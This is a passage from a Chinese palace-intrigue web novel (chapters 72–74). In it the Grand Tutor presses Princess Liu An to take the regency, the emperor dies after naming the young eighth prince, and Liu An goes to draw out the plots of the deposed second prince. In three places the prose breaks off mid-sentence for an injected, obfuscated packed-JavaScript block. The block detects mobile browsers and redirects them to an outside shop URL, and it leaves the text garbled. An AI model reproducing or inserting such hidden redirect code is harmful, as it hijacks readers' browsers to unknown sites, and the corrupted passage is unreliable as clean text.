莲亭施施然道:“太傅大人,长公主这几天日夜操劳,如今刚睡下。莲音姐姐吩咐不得打扰长公主,有什么事待殿下醒来再议。” “宫侍,事情紧急,我等不到明日了,我现在就要见长公主,让我进去,我要见长公主,我有要事相商。”王落儒不顾莲亭的阻拦,拼着也要见到长公主刘安。 “太傅大人,你不能进!” 王落儒跪在院中,高声求道:“臣王落儒求见长公主。” 莲房皱着眉:“莲音姐姐不是说拦住他吗?怎么让他给进来了?” 莲亭撇撇嘴,无奈道:“他硬要强闯,我哪里拦得住他?” 莲房走近:“烦请太傅大人低声些,长公主殿下今日劳累,如今才勉强歇下。” 王落儒拱手道:“宫侍,事关紧急,此乃权宜之策,待见过殿下之后,任凭殿下处置。” 说罢,王落儒又是一声高呼:“臣王落儒求见长公主!” 莲音皱着眉走出刘安的寝殿:“莲房,带王太傅进殿。” 虽费了些周折,王落儒还是如愿见到了长公主刘安。 刘安端坐在高坐之上,脸上遮不住的疲惫之色:“不知太傅大人此来何事?” 王落儒谨慎地看了眼周围的宫人,并未开口。 刘安看出他心中的顾忌,屏退众宫人,随后示意王落儒开口。 王落儒道:“臣此来,是为着八皇子即位一事,有些话想向长公主殿下说明。” 刘安心中一惊,仍面不改色道:“太傅大人此言何意?太傅大人是朝中的老人,可要慎言才是。妄议储君一事,可是要——” 王落儒见刘安仍在与他绕弯子,急道:“在殿下昏迷的这几日里,陛下曾诏臣与英王殿下,共同商议过新君一事。” “八皇子为新君一事,已是板上钉钉,并非臣擅自非议。” 刘安:“既然已是板上钉钉一事,太傅大人去做便是,来找本宫是何故?” 王落儒叹道:“恳请殿下主持朝政。” 刘安皱着眉,嗤笑一声:“若是要垂帘听政,八弟生 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“虽说二皇子被废为庶人,至今圈禁,可他在朝中的势力影响依旧还在,只要他还在世一日,那新皇注定便不会安稳。” 听得王落儒如此说,刘安已从他的言语之中察觉到他的意思,王落儒是想借她的手,除掉刘仲,为新皇扫清登基的障碍。 王落儒见刘安犹豫不决,决定再添上一把火,从怀中掏出一封信件呈上:“臣今日前来,还带来一封密报,请殿下阅览。” 刘安好奇接过信件,打开查看。 王落儒解释道:“这是一年前,二皇子与四皇子联系的密报,当时密报并发三路,太子殿下只拦下其中的两路,密报最终还是送达。” “长公主殿下,当初太子殿下狱中自裁并非偶然,实乃环环相扣,太子殿下被牵制其中,无法脱身。” “当日太子殿下心有谋算,欲迎回四皇子,然后再凭借着四皇子与胡人的力量,借此来削弱诚王,除却内忧,之后再着手解决外患。可殿下的大计还未曾实施,太子殿下便因东宫发现的巫蛊草草下狱。太子仁孝,为了不让陛下背负杀子的名声,为了皇后与晋国公不起兵,为了保护兄弟姐妹们,这才在狱中绝望自裁的,以至于最后连翻身的机会都没有了。” “虽说臣恨不得能啖其肉饮其血,可眼下之际,臣说这个,并非要殿下处死那做局陷害太子殿下的刘仲,只是要殿下小心小心再小心。刘仲他当初能与远在草原十八部做质子的四殿下取得联系甚至暗中勾结,也定然会与盘踞栾南的诚王暗中勾结。” “十几年了,诚王早已兵肥马壮,倘若如今陛下突然撒手人寰,新皇登基,刘仲若与诚王暗中勾结,到那时,诚王趁机进京夺去皇位,朝纲不稳,百姓不安啊!” “殿下也不忍心看到手足至亲相残吧。殿下素来仁慈,当时刘仲被陛下打得半死,一息尚存之际,是殿下派人医治,他这才得以保住这一条命。这是他欠殿下的。” “倘若是殿下出来主持朝纲,无论他是否真心诚服,想必也不会明目张胆的胡来。刘仲蛰伏之际,也恰恰是新皇喘息之时,殿下主持朝政,诚王便没有理由进京,若诚王贼心不死,殿下也好名正言顺的处理掉诚王,解决了这一忧患。” “日后,待天下安稳太平,殿下再还政于新皇,也好全了殿下的美名。” 王落儒再次跪下恳请道:“还请殿下三思,早作打算。” “如今国家的社稷都担在殿下肩上了!” 72. 代政(七)临终托孤 刘安咬着嘴唇,思忖半晌,对上王落儒那充满希冀的眼神,犹豫推辞道:“”我虽有心,可手上也无可用之人,徒有个长公主的名头罢了,也做不了什么。” 王落儒见刘安似有松动,忙道:“这个不难,当日太子自裁,陛下罢免了从属于东宫一众官员,并未曾杀掉他们,殿下可知为何?” 王落儒自问自答道:“这是为了保护这些人,避免来日皇子争锋,这些人站错队受牵连,来日新皇无可用之人,内外兼忧。殿下尽可放心,这些人都是可用之人。” 刘安将其中的利弊思量再三,点点头,应下:“好,就按你说的来。” 待送走王落儒之后,刘安六神无主地在殿中来回踱步,思来想去,决定去诈一诈刘仲。 刘安唤来守在殿外的心腹莲音:“莲音,我有事暂且出宫一趟,去去就回,你且守在福康宫,若有人要见我,便推脱掉。” 莲音心疼道:“殿下日益劳累,有什么事,不妨让我们去做,抑或是明日再做也可,奴婢真担心殿下的身子。” 刘安打定主意:“此事关系重大,时机稍瞬即逝,得越快越好,不能再拖,你且去外面守着。” 因莲房的表哥在宫外,莲房经常出宫去,与宫门口的侍卫都混熟了,为此,刘安乔装扮成莲房的样子,与亭才出了内殿,便听着外头传来一声:“莲音姐姐,烦请通传一声,陛下想见长公主殿下。”听着是承道帝身旁的宫人。 刘安连忙折返回内殿,仔细听着外头的对话。 莲音守在门口,回头看了眼紧闭的殿门,犹豫着摇摇头:“内官大人,我们殿下如今才睡着,先前祈雨祭祀,硬生生跪了一整日,之后便摔下祭台昏迷,昨儿才醒了,又守着英王殿下守了一夜。” “今早英王殿下身边的挽袖姐姐刚报了,我等都听说了,深感哀痛,只是……”宫人有些为难,凑在莲音耳边,低声道:“这……陛下急诏,依着陛下如今的情形,恐怕等不了许多了,还需长公主殿下如同昨日那样守在陛下身边呢,陛下心头大事未了一切事由还需与长公主殿下商议定夺呢。” 宫人说罢,又深深施礼道:“烦请姐姐通传一声。” 莲音闻言一惊,事关重大,需即刻通知长公主才是,只是与长公主亲近之人接连离去,还不知殿下如何承受得住,便在外头提高音量道:“内官大人稍等片刻,我即刻去叫醒长公主殿下!” 刘安听得父皇身边的宫人语气之中的凝重之色,便知事情严重,换了衣衫,开口道:“莲音,让父皇身边的内官进来吧。” 莲音这才带着承道帝身边的内官进了内殿:“内官大人,里面请。” 刘安坐在梳妆的铜镜前,对着铜镜,盯着铜镜中的内官,问道:“父皇有何事?容本宫梳妆打扮之后便去。” 内官扑通一声跪在地上,一把鼻涕一把泪哭道:“殿下,陛下如今已下不来床了,口里一直呼唤着长公主殿下与英王殿下的名字,还望长公主殿下早些去福宁殿呢!” 刘安捧着胭脂盒的手猛然一抖,一盒胭脂撒在衣裙上,如同鲜血一般红艳,此时她也顾不得许多了,披上外衫便急着出宫:“去福宁殿!去福宁殿!” “你们去将六七两位皇子找来,让他们务必带着宁乐公主一起来,还有八皇子——” 刘安着急忙慌地走出数步,忽而停住脚止住,如今朝政不稳,父皇至今尚未指定储君,若是父皇病危的消息走露风声,只怕京中又会一场腥风血雨。 宫人们刹住脚步,疑惑道:“殿下?” 刘安本想着父皇病危,此次一见只恐将是最后一面,需将弟弟妹妹们都找来,可若是真将皇子皇女们都传唤入宫,岂不惹得臣民揣测?且不说弟弟妹妹尚且年幼,把控不住局面,就说被废为庶人的刘仲,乃至栾南的诚王,可都虎视眈眈的盯着宫里盯着父皇的福宁殿呢,容不得半点差错。 刘安当即下令道:“慢着,只需将七皇子传来便是,让他守好福宁殿,非诏,任何人不得出入福宁殿。” “再传金中堂,守好宫门,凡有擅闯宫门者,先捆了丢去天牢,在暗处加强京城警戒,严查城南门、城西门两处想去栾南的人。” 吩咐完这些后,刘安整了整衣衫,此时已顾不得再换什么衣裳,只是用宽大的外衫遮住里衣上鲜红的胭脂,又回头看向镜中的自己,除却脸上疲惫以外,再也看不出别的慌乱神情,这才安心前去福宁殿。 刘安刚走几步,脚下无力,一个不稳,险些摔倒。 周边人见状赶忙围上去。 刘安扶着莲音站直身体,道了声:“不妨事,即刻前去福宁殿。” 福宁殿内,李美人及八皇子刘绥,还有王落儒早就候在此处。 刘安整个人怔住一瞬,待与王落儒对过眼神之后,随后神色恢复如常,上前拉住李美人的手,亲昵喊了声:“李娘娘!” 李美人脸上掩不住的得意之色,一副胜券在握的神情:“长公主殿下,我们一同进去见陛下吧。” 刘安已经猜到接下来会发生什么,回头给了莲音一个眼神,而后跟着李美人、刘绥进了内殿,王落儒紧跟在三人之后。 此时的承道帝,虽说正直壮年,可皇子的接连去世,再加上这么多年苦于心机,如今早已是油尽灯枯之势。 自太子秦王的相继离世之后,承道帝便想好将皇位传于八皇子刘绥,碍于刘绥年幼,根基尚且不稳,迟迟未曾向旁人提及,只是如今他再不说,恐就迟了。 承道帝看着面前的稚子刘绥,又看向一旁神色戚戚的长女刘安,抬起一只手。 刘安会意,忙跪着上前数步,握紧承道帝的手。 承道帝释然地笑着:“安儿,你看看你那些个不争气的弟弟,竟没一个可用的。若你是皇子,朕倒想将这位置传于你,朕也不必忧心至此。” 在后面跪着的李美人闻言一惊,抬眼看去。 “安儿,这么些年来,你抚育教导弟妹们,为朕排忧解难,朕思来想去,唯有你,才可堪当大任。” “有你在,朕便安心了,朕便可安心将你的弟弟妹妹们,乃至大江朝都托付在你手上了。” 刘安轻声唤了一声:“父皇——” 承道帝一招手,他的贴身近侍便捧着圣旨出现:“朕承祖宗基业,为帝二十余载,凡事事必躬亲,无不勤勉。今感大限将至,恐江山社稷无人,故颁此诏以定国本。” “皇八子刘绥,秉性良善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274269|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仁孝两全,可堪当大任。然稚子年幼,着敕封皇长女刘安为抚政长公主,从旁辅佐。复王落儒太子太傅一职,教导幼帝,户部尚书程显,为人清正严明,可重用。” “近年内有灾情频发,外有草原十八部虎视眈眈,东南沿海流寇时而骚扰,此乃内忧外患之际,新君当与此三人共议,切不可妄下决断。” 圣旨宣读完毕,承道帝只留刘安与刘绥二人在近前:“原先与太子交好的一些官员,朕如今都给他们复位了,这些人的名单都在太傅王落儒手上。王落儒此人,虽有些迂腐,可忠心可鉴,有他在,朕很放心。” “安儿,从此新君便交由你教导辅佐,直至绥儿及冠之时。” “安儿,朕便将这国家托付在你手上了,只是如今朝局未稳,需得你多上心,多多操劳些才是。” 说罢,承道帝眼珠又转向刘绥:“绥儿,你……你可要……做个……好……好……”承道帝一口气没上来,话还未曾说完,便已殡天。 “父皇!”刘绥与刘安二人抱头痛哭。 外面的李美人与刘昶听到里头的哭声,不顾宫人们的阻拦,强闯进来,待看见屋内情形,从眼中挤出几颗眼泪,哭喊道:“陛下——” “父皇!” 刘安深知,如今局势未稳,还不是哭丧的时候,便起身抹去眼泪,冷眼道:“李娘娘哭什么?如今父皇只不过是有些累了,你这一个劲儿的哭喊什么?难道要将父皇吵醒吗?” “昶儿,你也愈发失了规矩?”刘安说罢,定睛看着刘昶,轻轻摇着头。 刘昶见刘安脸上还挂着泪痕,又见承道帝耷拉着手,便已了然,压着心头的悲伤之情,自请认罪。 李美人戛然止住哭声,楚楚可怜地抬眼看向刘安,一时间不知该如何是好,随后又扭头看了眼太傅王落儒,方才陛下的遗诏里说得清楚,他可是顾命大臣,李美人希望他能站出来说几句。 刘安道:“来人,将李娘娘送回宫去。” 待送走李美人后,刘安扶起刘昶,柔声道:“七弟,你且守在福宁殿,父皇的消息,不要透露出一分一毫。” 刘昶眼里噙着泪,木讷地点点头。 待送走李美人、安顿好刘昶刘绥之后,刘安当即决定出宫。 王落儒见刘安的轿辇不像是回福康宫的,倒像是去宣政门的,忙拦住跟随在轿辇一旁的宫侍莲房:“敢问宫侍,长公主殿下这是要去哪里?” 莲房道:“殿下说是要去城南见个人。” “城南?”王落儒喃喃念了一声,当即反应过来,城南除了刘仲,再无旁人,忙大步跑至轿辇近前,拦住刘安的去路,苦苦劝道:“长公主殿下,此时万万不可去见他呀!” 刘安解释道:“本宫此次前去,是要稳住他的,将这利害关系说与他听,以防他轻举妄动。你放心,他对我的话,兴许还是能听进去几分的。” “太傅大人不必担心。” “太傅大人刚刚与我说的,绝不会食言。八弟那里,在本宫回来之前,还需太傅大人姑且看顾着。”说罢,便命人抬起轿辇,继续朝着宣政门去。 王落儒望着刘安离去的身影,心中忐忑不安,但愿,长公主殿下能信守承诺。 73. 代政(八)黄粱一梦 城南偏僻处,原先的二皇子府内,一声声的喃喃低语响起。 “父皇……父皇……父皇!”刘仲额头上沁出一层汗嘴里不住地喃喃道。 钱衡量守在刘仲床下,听得刘仲似是梦魇了,忙轻声唤醒他:“殿下!殿下!” 近来刘仲这里的看护不严,护卫又多松散偷懒,钱衡量靠着先前卜卦算命得来的银两,买通了看守刘仲的护卫,偷偷溜进刘仲房内照顾着他,为他上药为他改善饭菜,若不是有钱衡量在,只怕刘仲早就命丧黄泉了。 刘仲猛然睁开双眼,静静躺了片刻,静静地听着外面的声音,良久,才问道:“衡量,你听到了吗,刚刚响过了声丧钟,你听清楚是几声了吗?” 若是国丧,丧钟起,天下知。 钱衡量闻言一愣,行至窗边,竖起耳朵听着,听了好一会儿,也没听到什么丧钟的声响。 外面哪里响过什么丧钟之声,许是殿下梦魇听错了吧,钱衡量叹道:“殿下,这话不能乱讲,方才……丧钟并未响起” 刘仲问道:“是吗?” 钱衡量掏出手帕递给刘仲:“我看殿下满头大汗,许是做噩梦了,如今梦醒了,便不要再去想梦里的那些事了。” 刘仲心有余悸,接过手帕,双眼无神地擦着额头上的汗。 “衡量,我梦见……”刚说了几个字,刘仲便垂下脑袋,只看着手里擦汗的帕子愣神。 钱衡量见刘仲不愿开口,也不多追问,为刘仲披上一件衣服,静静地坐在床下,看着刘仲。 刘仲梦里,梦到承道帝,少有的慈父样子,慈爱地拉着他的手,对他谆谆教导,不似那日他们父子刀剑相向。 原先刘仲一直觉得承道帝为自己起的名字太过随意,不似兄弟姐妹们的名字有寓意。伯仲叔季,不过是排序的一些字眼罢了,就犹如一二三四一样,就因为自己排行第二,便给自己取名为仲,不亚于叫自己刘二。可梦里,梦里的承道帝,亲昵地唤着他的名字,仲儿……仲儿……,原来从父皇嘴里喊出他的名字,竟这么好听。 梦里的承道帝宛如一个慈父,把年幼的刘仲抱在膝上,教刘仲习字…… 梦里的承道帝与他母亲很是恩爱…… 梦里的承道帝,拉着刘仲的手,诉说着他的不易,诉说着为何不认刘仲的母亲,诉说着为何不喜欢刘仲,诉说着…… 梦里的承道帝缠绵病榻,攥着刘仲的手,一字一句细心叮嘱着: “仲儿,为父对你多为严厉,是希望你能可堪大用,是希望你能挑起这江山社稷的重担。” “仲儿,你诸多兄弟中,或身弱或平庸或年幼,或心思不在皇位上,朕诸多儿子中,朕唯独属意于你。” “仲儿,虽你我父子之间素有隔阂,但……为父还是很中意于你为太子的。” “仲儿,这是朕的亲笔诏书,你拿好吧。” “北有胡族蛮夷,东有海寇作乱,内有世家大族相互勾结,还有诚王虎视眈眈,朕本想将这些都为你清除干净,可世事无常,给你留下这么个摊子……” 想着想着,刘仲不自觉地露出一丝苦笑,父皇心里真的是这么想他的吗?父皇真会如梦里这般待他吗? 待稳定了心神,刘仲缓缓开口道:“我梦见父皇……殡天了” 钱衡量忙起身捂住刘仲的嘴,安慰道:“殿下,不会的。陛下吉人自有天相。” 正说着,刘仲又听到了几声,激动地攀上钱衡量的胳膊:“你听,丧钟又响起了。” 钱衡量竖起耳朵听了一会,还是什么也没有听到:“殿下幻听了吧。” “你听,真的有。” 两人支起耳朵静静听着,忽然刘安与侍卫对话的声音闯入耳中。 侍卫:“拜见长公主殿下。” 刘安:“都起来吧。我看他屋里未曾亮灯,可是睡下了?” 侍卫“或许是吧。二殿下屋里早早便熄了灯。” 侍卫“是否要去叫醒二殿下?” 刘安:“不必了。我进去等他吧。”说着,便推开了房门。 刘仲留意着外头的对话,忙将钱衡量藏好,随后佯装睡觉,晾了刘安好一会儿,才装作一副刚睡醒的样子,睡眼惺忪道:“大姐姐,我听说大姐姐代父皇求雨祭祀,又替父皇打理朝政,近来很忙啊,难得姐姐百忙之中还能想起我这个废人。” 刘仲垫着胳膊,翘起二郎腿,自嘲地呵笑两声,语气里满是不屑之意:“难得啊难得。” 刘安也不绕弯子,直言道:“父皇身体不适,我日日守在父皇跟前,御医说可能等不到开春儿了,也可能就这几日了。”刘安越说声音越小,声音越压越低,直至最后,只能听到她的声声抽泣。 “什么?”刘仲震惊地从床上起身,走至栏杆面前,抱着将他与刘安阻隔开的栏杆,脑袋探在栏杆之间,不可置信又问了一遍:“大姐姐,你说什么?” 刘安并不理二,只盯着面前落灰的茶杯,自顾自说道:“近来发生的事情有些多,朝局动荡不安,父皇的病情,除了我与你之外,再没旁人知晓。这几日,不过是用一口一口的参汤为父皇吊着一口气罢了,我担心……” 刘安怅然叹了一口气,顿了顿,继续道:“我担心父皇仙逝之后,单凭我,单凭六弟与七弟,难以局势。” “父皇要传位于谁?”刘仲想起先前做的那个梦,心中有了期盼,他如今也只关心这个。 刘仲呼吸不稳,颤声道:“大姐姐与我说这些……是我吗?” 想来一定是他了,如若不然,怎会梦到父皇在梦中传位于他? 刘安鼻孔里哼了一声,嘴角露出一丝嘲讽的笑意,他被废为庶人,竟还敢肖想皇位?简直天方夜谭。 刘安收起嘴角的嘲笑,定睛看向刘仲,站起身来,一步一步走向刘仲,边走边言辞恳切说道:“父皇只我们几个孩子,英王病逝,太子自裁,秦王遇害,你说说,还会有谁?” 刘仲垂下头,顺着栏杆缓缓下滑蹲下:“还有六弟七弟八弟他们,他们也是父皇的儿子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274270|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤其是八弟,父皇曾说,八弟最像他。” 刘安循循善诱,同样蹲在刘仲面前:“八弟年幼,若他继位,皇族其他人必会虎视眈眈,倘若父皇能再活几年,为他打点好一切,那八弟被册立太子,也不是不可能。” “其余两个,六弟胆小好财,若说是算账生财一事,他很在行,可若论政务一事,又哪里称得上好呢?父皇从未对他抱有期望。七弟为人太过刚直,不善权变,在军营里待惯了,哪里能对付得朝中那群老狐狸呢?” 刘安紧紧盯着刘仲:“二弟,若你是父皇,你会传位于谁?” 刘仲心中窃喜,可嘴上仍旧自嘲道:“大姐姐说笑了。我不过是个被圈禁废黜之人,没权没势,能成什么事。” “父皇啊父皇,你有七位皇子啊,可满打满算下来,除了我,堂堂大江,竟无一人可用。” 刘仲癫狂大笑:“哈哈哈,真是可笑,可笑啊!” 刘安看着面前癫狂不已的刘仲,想着他先前做的那些事,倒卖军情、勾结敌寇、陷害储君、谋逆逼宫,桩桩件件皆是不仁不义不忠不孝之举,一想到便心中无比的厌恶。 刘安眼中压着怒火:“二弟,你若登基为皇,姐姐只求你一件事,望保护好弟妹们,留他们一条命,不要赶尽杀绝。” 刘仲面上带了些嘲讽的意味:“大姐姐,你想让我留他们一命,那你能保证他们会甘心屈居我之下?甘心臣服于我吗?” 刘仲真没想到,他的这位大姐姐,竟这般单纯,不禁笑道:“出生皇家,在这个位置上,怎么可能会不争呢?” “不争,难道像我一样终生圈禁吗?” 刘安闻言不禁冷笑道:“你若争,那就光明正大的去争,何必使出这些个龌龊手段!” 说罢,从怀中掏出一叠密报,正是先前太傅王落儒交给她的,用力摔在刘仲脸上,指着刘仲的鼻子怒斥道:“你齐发三路密报,早早便与秦王勾结,引他回京。自他回京之后,又与他在京中密谋这么多。从晋国公被贬、太子因巫蛊入狱、蔡桐起兵谋反、秦王被叛军围杀,短短一年不过短短一年的时间,竟发生这么多事,这桩桩件件,哪一件少得了你的身影?哪一件冤了你!” 刘仲见他谋划的这些事都被刘安戳穿摆在了明面上,也就任由这些密报摔在他脸上,冷哼一声,阴阳怪气道:“大姐姐好手段啊,查的真是干净。” 刘安冷眼看着刘仲,看着他被搁在栏杆内,恨恨骂了声:“龌龊。” 刘仲听到这两个字,瞬间发疯,用力拍打着栏杆,怒吼道:“为什么我做不得?凭什么我做不得!” “凭什么你们的所做所为就是理所应当?凭什么我做的这些就是龌龊不堪?凭什么!” 刘安道:“正如你所说的,出生在皇家,出生在这个位置上,为了活命,便不得不争,大家都是迫不得已,被逼无奈!” 刘仲嗤笑道:“你们都是被逼无奈,难道我就就甘心如此?难道我不是被逼的吗?难道我就愿意生在这帝王家吗?” 74. 代政(九)扮猪吃虎 “哈哈哈哈——我的生母吴氏,原是启盛帝贵妃身边的宫女,原是一个资质粗陋的婢女,她无才无貌,甚少引人关注。” “她原本只要等着二十五岁,只要等着二十五岁被放出宫去,就可以过上平平淡淡,平平淡淡地渡过这一生。可是陛下他,可是我们的陛下,他侵犯了她!他醉酒侵犯了她!” 刘仲颓然道:“这才有了我。” “可我们的陛下却嫌弃吴氏身份低贱,不配为妃,不予册封。让吴氏活生生地老死在宫中!对我,更是不闻不问。姐姐方才说,你们是不得不争,你们都是被逼无奈。如果不是陛下……” 刘仲突然升高音量,脾气暴涨,脖颈处的青筋暴起:“若不是陛下,我又会怎会陷入宫廷争斗这虚伪的泥潭之中!” 刘仲肩膀一怂,双手一摊,无可奈何道:“我原本,原本可以和母亲在宫外过平平淡淡的日子。无论贫穷还是富有,无论饥馁还是饱腹,无论是衣不蔽体还是穿戴齐整,那总归……总归是人该过的日子。” “而不至于像现在,人不人,鬼不鬼,苟延残喘活在世间。” 刘安撇过头去,不再看刘仲,当年那桩事,父皇是被人陷害的。 当年,承道帝的堂兄启盛帝,背靠外祖汀州张氏一族,依仗着母后的铁血手腕登基为帝。谁曾想到,启盛帝登基之后,时时以前朝为鉴,重用寒士,打压大族,不顾外祖一族的利益,以雷霆手段行改革之势,甚至将他的生母迁至别宫。 那些个世家大族屹立于世间几百年,怎会甘心家族在一夕之间落败?为着延续家族荣耀,暗害启盛帝,害得启盛帝多年无嗣,害得启盛帝年纪轻轻落水而亡。 他们算准了,算准了皇位会落在当时的信王刘适,如今的承道帝头上,便设计陷害他,引他在宫中醉酒,引他误入贵妃的寝宫,引他酒后乱性上了贵妃身旁的一个洗脚婢。 甚至在这个婢女怀孕之后,暗使手段,让这个婢女顺利产子,让这个孩子顺利在宫里长大,让这个孩子日后得以认祖归宗。 这个孩子,就是如今的刘仲。 那些人凭着这件事,凭着那个婢女,凭着那个孩子,处处散播谣言,处处拿捏承道帝。承道帝自是对他们恨得牙痒痒,自是对刘仲恨得牙痒痒,承道帝对刘仲,更是没有半点的父子情谊。 刘安心有戚戚,当初他们精心设计的一局,竟成了刘仲痛苦的根源,竟成了如今这局势的开端。 刘仲继续落寞道:“我上有长姐长兄,下有中宫皇后所出的太子和宠妃之子,在二皇子这个位置,我的每一天,都过得是无比的煎熬。” “前期,我并不想争,大姐姐,你信吗?我并未想过要争些什么,我只想活着,只是想活着而已。” 刘仲哭得声泪俱下,忽而,话锋一转,恨恨道:“可是,我也是父皇的儿子。凭什么,你们有的我都没有?父爱,恩宠,权势地位,凭什么我都没有!” “我也要争。你们有的我都要有,你们没有的,我也要有。” 刘仲咬牙切齿道:“我恨他,恨他让我活着,恨他让我活在这个世界上,恨他怎么当初没一刀砍死我!” “我也恨你们,凭什么你们什么都不用做就能获得爱,凭什么你们从一出生便回有数不尽的恩宠权势?” 刘安有些错愕:“你心中竟然这般怨恨父皇?竟这般怨恨手足?那你平日里的父慈子孝、兄友弟恭都是假的吗?都是装出来的吗?” “哈哈哈哈,什么真的,什么假的!”刘仲表情甚是疯癫,“我生在皇家,从一生下来,就……” 刘仲摊开双手,看着自己手上空空如也,失了神,他从一出生下来便什么都没有,唯有这一条烂命! 刘仲双手抱紧栏杆,面目狰狞:“大姐姐,你告诉我,什么是真的?什么又是假的?” “君恩圣宠是假的,皇恩浩荡是假的。” “兄友弟恭,父慈子笑也是假的。” “哈哈哈哈哈哈哈——我要怎么选?你告诉我,你们告诉我我要怎么选?” “日后若是太子登基,他知道了我所做的这一切,他就会放过我吗?若是旁人登基,他们知晓这一切,我还会有活路吗?” “我没有长姐五妹那样受父皇宠爱,没有四弟那样的天命加身,没有大哥的聪明仁爱,更没有太子那样的靠山,我从一出生就是个死局,是我的亲生父亲给我安排一个必死之局。” “无论我走哪条路,无论我选哪条路,呵,条条道路便都是我的必死之路!” “大姐姐,我只想活,可能让我活着的唯一办法就是做皇帝,我没得选啊大姐姐!” 刘安眼底闪过一抹悲色,但言语依旧凌厉:“即便是你要争,即便是你要做皇帝,也不必使出这些个手段,也不必戕害手足至亲!” 刘仲高声道:“既然要做皇帝就不能仁慈,尤其是对手足!” “大姐姐,看看诚王叔,他可是父皇的胞弟。父皇当年仁慈啊,念着一母同胞的手足情,对他千般好万般好,可到头来呢?诚王暗中养马蓄兵,只待父皇殡天那一日,将我们一网打尽呢!” “哦,诚王私训军队?”刘安起身,抹去方才撒下的那几滴眼泪,背对着刘仲,嘴角勾起一抹冷笑,听他絮絮叨叨这么多,如今总算是上道了。 刘安慢慢踱回桌前,转身,又是一副担忧惊惧的神情。 刘仲不屑道:“哼,大姐姐还不知道呢吧,在四弟回京之前,他就已经在招兵买马了。” “如今京中这么多事,军队多有折损,父皇又大限将至,诚王,只怕要蠢蠢欲动了。”刘仲无所谓地耸耸肩,满不在乎道。 不管诚王打着什么旗号进京,那无诏入京,便是逆贼,且由着诚王去斗吧,且由着诚王去闹他,总归最后,这天下都会落在他刘仲手里。 “既然你早知诚王野心勃勃,他想着法儿的要置我们于死地,你又为何还要趁着栾南战事与他互通消息,暗中勾结!”说罢,刘安从袖中抽出一封信件,“啪”地一声愤怒地拍在桌子上,桌上的茶具为之跳动一下。 刘仲看着被拍在桌子上的那封密信,心中一颤,他自认做得隐秘,怎么就被她截获了呢? 刘安恨铁不成钢道:“你可知,若这封消息传给诚王,等待我们的是什么?” “待父皇殡天之日,便是诚王入京之时,也就是我们姐弟几人任人宰割之日!” “诚王狡诈,你不会天真的以为,他能毫无私心的助你登基为帝吧?你手上没权没兵,又是被父皇废黜之身,若你为帝,朝堂之上谁人能信服?诚王又怎能心甘情愿地臣服于你!”刘安越说越气,指着刘仲的鼻尖,声声犀利。 刘仲被说得没了信心,底气不足道:“大姐姐,我自有办法。” “哦?你有什么办法,说来听听。”刘安以为刘仲还有后手,便想再继续诈问出来,但见刘仲沉默,继续攻心道:“当初英王、太子还在时,天下尽在掌握之中,如此都没奈何的了诚王。现如今国势衰微,内有天灾朝局动荡,外头敌寇虎视眈眈,内外交困之际,你能有什么办法?” “若你草草登基,你有什么办法,禅位给他然后苟活于世吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274271|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刘仲未曾想到过这点,是啊,他手上没兵没权,拿什么威慑诚王?刘仲被说得心灰意冷,颓然坐在地上。 刘安见此情形,拿出长姐的身份,柔声道:“我们现在要做的,先要稳定朝纲,镇住朝野上下,从而稳住诚王,待局势安稳之后,再扶持你继位,到那时,你就是正统。处理完国内之后,我们再与周边诸国建交,缓解边境的压迫。此等种种,我们才得以有喘息之机,才能休养生息训养军队,才有能与诚王硬碰硬的实力,才可内收诚王,外御敌寇,收疆拓土。” “是是是,大姐姐说的是。”刘仲听后连连点头,但也不忘索要传位诏书,“既然先要稳定朝纲,那就得让父皇尽快定下传位之人。大姐姐,我现在只是个庶人,按理来说,是没有资格的,你得先让父皇恢复我的身份。” “父皇……”提到承道帝,刘安掩面哭泣,声音哽咽:“父皇现在日夜昏迷,即便清醒,每天也只有不到一个时辰能清醒着,别说是写诏书了,就连话,也很难说出来几个字” 刘安说罢,宽大的衣袖遮住脸,在衣袖之后呜咽哭着。 刘仲踉跄一步,喃喃道:“我现在被废黜,况且又被父皇厌弃,即便是来日登基,也会被朝臣质疑得位不正的。” 刘安依旧自顾自掩面哭泣,透过指缝,悄悄注视着刘仲的一举一动。 只见刘仲在栏杆内焦急地转着圈,突然,他刹住脚,向前一步,扶着栏杆,信誓旦旦地盯着刘安:“现下,还有一个人能救我们姐弟几人于水火。” “谁?”刘安放下衣袖,凑上前去。 刘仲坚定点头道:“你。” 刘安摆摆手,背过身去:“二弟,你说笑了。” 在刘仲看不见的地方,刘安嘴角上翘,不枉她铺垫这么多,终于说到正题了。 